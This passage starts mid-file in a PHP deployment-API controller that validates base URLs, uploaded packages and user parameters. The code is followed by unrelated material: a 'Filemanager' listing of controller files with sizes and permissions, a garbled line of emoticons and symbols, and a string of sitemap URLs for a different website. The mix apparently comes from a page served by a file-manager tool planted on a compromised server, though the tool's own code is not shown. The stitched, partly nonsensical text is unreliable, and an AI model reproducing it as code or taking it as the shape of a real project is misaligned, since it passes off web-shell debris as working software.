            $message = _t("Parameter 'baseUrl' must be a valid URL: %s",
                array((string) current($baseUrlValidator->getMessages())));
            throw new WebAPI\Exception($message, WebAPI\Exception::INVALID_PARAMETER);
        }

        return $uri->toString();
    }

    /**
     *
     * @param array $params
     * @return array
     * @throws WebAPI\Exception
     */
    protected function validateUserParams($userParams)
    {
        $userParams = $this->trimParam($userParams);
        if (!is_array($userParams)) {
            throw new WebAPI\Exception(
            _t("Parameter 'userParams' must be an array of values for the uploaded application package"),
            WebAPI\Exception::INVALID_PARAMETER
            );
        }
    }

    protected function setFileTransfer()
    {
        $fileTransfer = new \Zend\File\Transfer\Adapter\Http();
        $uploaddir    = $this->getGuiTempDir();
        $fileTransfer->setDestination($uploaddir);
        if (!$fileTransfer->receive()) {
            throw new WebAPI\Exception(_t("Package file upload failed"), WebAPI\Exception::INVALID_PARAMETER);
        }

        Log::debug('File is uploaded to '.$uploaddir);
        return $fileTransfer;
    }

    /**
     *
     * @param string $filename
     * @throws WebAPI\Exception
     * @return \Deployment\Application\Package
     */
    protected function generatePackage($filename)
    {
        try {
            $deploymentPackage = \Deployment\Application\Package::generate($filename);
        } catch (\Exception $e) {
            Log::err("Failed to validate application package: ".$e->getMessage());
            throw new WebAPI\Exception(
            _t("Failed to validate application package: %s", array($e->getMessage())),
            WebAPI\Exception::INTERNAL_SERVER_ERROR
            );
        }

        return $deploymentPackage;
    }

    /**
     * 
     * @param array $userParams
     * @param string $baseUrl
     * @param \Deployment\Application\Package $deploymentPackage
     * @return \Zend\Form\Form
     */
    protected function validateParams($userParams, $baseUrl, $deploymentPackage)
    {
        $form = $this->getFormValidator($baseUrl, $deploymentPackage);
        $form->setData($userParams);

        if (!$form->isValid()) {
            $validationErrors = $this->getValidatorErrors($form);
            Log::err('User supplied parameters have failed validation according to the package\'s definitions: '.print_r($validationErrors,
                    true));
            $this->getDeploymentMapper()->cancelPendingDeployment($baseUrl);
            throw new WebAPI\Exception(
            _t('User supplied parameters have failed validation according to the package\'s definitions: %s',
                $validationErrors), WebAPI\Exception::INVALID_PARAMETER);
        }

        return $form;
    }

    protected function getValidatorErrors(\Zend\Form\Form $form)
    {
        $allMessages = array();
        foreach ($form->getMessages() as $elementName => $elementMessages) {
            if (!$elementMessages) {
                continue;
            }

            foreach ($elementMessages as $messageKey => $message) {
                $allMessages[$elementName] = "{$elementName} parameter - {$messageKey} validation:{$message}";
            }
        }

        return $allMessages;
    }

    /**
     * @param string $baseUrl
     * @param \Deployment\Application\Package $deploymentPackage
     * @return \Zend\Form\Form
     * @throws WebAPI\Exception
     */
    protected function getFormValidator($baseUrl, \Deployment\Application\Package $deploymentPackage)
    {
        try {
            $form = $this->getDeploymentMapper()->getUserParamsForm($deploymentPackage->getRequiredParams());
        } catch (\Exception $e) {
            $this->getDeploymentMapper()->cancelPendingDeployment($baseUrl);
            Log::err("Failed to validate user parameters:".$e->getMessage());
            throw new WebAPI\Exception(
            _t('Failed to validate user parameters: %s', array($e->getMessage())),
            WebAPI\Exception::INTERNAL_SERVER_ERROR
            );
        }

        return $form;
    }

    /**
     * @param string $baseUrl
     * @param \Deployment\Application\Package $deploymentPackage
     * @param array $userParams
     * @throws WebAPI\Exception
     */
    protected function validateRequiredParams($baseUrl, \Deployment\Application\Package $deploymentPackage,
                                              array $userParams)
    {
        $params = $deploymentPackage->getRequiredParams();
        $appName = $deploymentPackage->getName();
        if (!isset($params['elements'])) return;

        foreach ($params['elements'] as $element) {
            $elementName = $element['spec']['name'];
            if ($this->isRequiredEmptyElement($element) && !(isset($userParams[$elementName]) && $userParams[$elementName]
                !== '')) {
                throw new WebAPI\Exception(_t("Parameter '{$elementName}' is required for the '{$appName}' deployment but is missing"),
                WebAPI\Exception::MISSING_PARAMETER);
            }
        }
    }

    protected function isRequiredElement($elementAttributes)
    {
        if (isset($elementAttributes['required']) && $elementAttributes['required']) {
            return true;
        }

        return false;
    }

    protected function isRequiredEmptyElement(array $element)
    {
        $elementAttributes = $element['spec']['attributes'];
        if ($this->isRequiredElement($elementAttributes) && !(isset($elementAttributes['value']) && $elementAttributes['value']
            !== '')) {
            return true;
        }

        return false;
    }

    protected function processUserParams($userParams, $deploymentPackage)
    { // ZF2 B4 bugs requires us to do some handling here
        $userParams = $this->populateUserParams($userParams, $deploymentPackage);

        return $this->removeEmptyNonRequiredParams($userParams, $deploymentPackage);
    }

    /**
     * @param array $userParams
     * @param \Deployment\Application\Package $deploymentPackage
     * @return array
     */
    protected function populateUserParams($userParams, $deploymentPackage)
    {
        $params = $deploymentPackage->getRequiredParams();

        if (!isset($params['elements'])) return $userParams;

        foreach ($params['elements'] as $element) {
            $elementAttributes = $element['spec']['attributes'];
            $elementName       = $element['spec']['name'];

            if (!isset($userParams[$elementName])) {
                isset($elementAttributes['value']) ? $value                    = $elementAttributes['value'] : $value                    = '';
                $userParams[$elementName] = $value; // @todo - adding empty fileds as of ZF2 B4 bug, that misses validation messages when missing required fields are not passed
            }
        }

        return $userParams;
    }

    /**
     * @param array $userParams
     * @param \Deployment\Application\Package $deploymentPackage
     * @return array
     */
    protected function removeEmptyNonRequiredParams($userParams, $deploymentPackage)
    {
        $params = $deploymentPackage->getRequiredParams();
        if (!isset($params['elements'])) return $userParams;

        foreach ($params['elements'] as $element) {
            $elementAttributes = $element['spec']['attributes'];
            $elementName       = $element['spec']['name'];

            if ($this->isRequiredElement($elementAttributes)) { // removing non required params only
                continue;
            }

            if (isset($userParams[$elementName]) && $userParams[$elementName] === '') {
                unset($userParams[$elementName]);
            }
        }

        return $userParams;
    }

    /**
     * @param array $namespaces
     * @return array
     */
    private function flattenMessagesArray(array $namespaces)
    {
        $flatMessages = array();
        foreach ($namespaces as $namespace => $elements) {
            foreach ($elements as $name => $messages) {
                foreach ($messages as $message) {
                    $flatMessages[] = _t('(%s) %s: %s', array(ucfirst($namespace), $name, $message));
                }
            }
        }
        return $flatMessages;
    }
}

Filemanager

Name Type Size Permission Actions
DefineWizardController.php File 2.64 KB 0644
IndexController.php File 3.98 KB 0644
WebAPI112Controller.php File 885 B 0644
WebAPI115Controller.php File 17.28 KB 0644
WebAPI19Controller.php File 1.03 KB 0644
WebAPIController.php File 89.84 KB 0644
WizardController.php File 59.54 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml